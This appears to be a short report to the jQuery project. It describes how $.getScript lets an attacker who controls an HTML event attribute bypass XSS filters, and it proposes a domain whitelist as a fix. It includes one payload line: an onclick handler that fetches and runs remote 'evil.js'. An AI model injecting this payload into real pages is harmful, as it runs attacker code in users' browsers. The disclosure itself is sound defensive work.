$.getScript and can load JavaScript file from remote server,then execute it.

In some cases,if a attack can control this function or its parameter,this Function may cause XSS attack.

For example,if an attacker can control a HTML TAG (such as input tag).

<input type=text onclick=...>

An attacker can control the OnClick Event,but the web app filter evil characters(<script>,doucment...).In this case XSS can not occur,but if the web page contains JQuery library,the attacker can bypass the Filter Mechanism using $.getScript Function,like this.

<input type=text onclick=$.getScript('http://jquery.com/evil.js')>

The attacker put evil.js on his remote server,this JavaScript File contains evil JavaScript code.When a user click the input tag ,the evil javascript code will execute.

I think JQuery Libiary should add a white list,a web can only load a JavaScript File from current domain by default,if a web need to load a JavaScript File from remote server,the developer have to add the domain into the white list.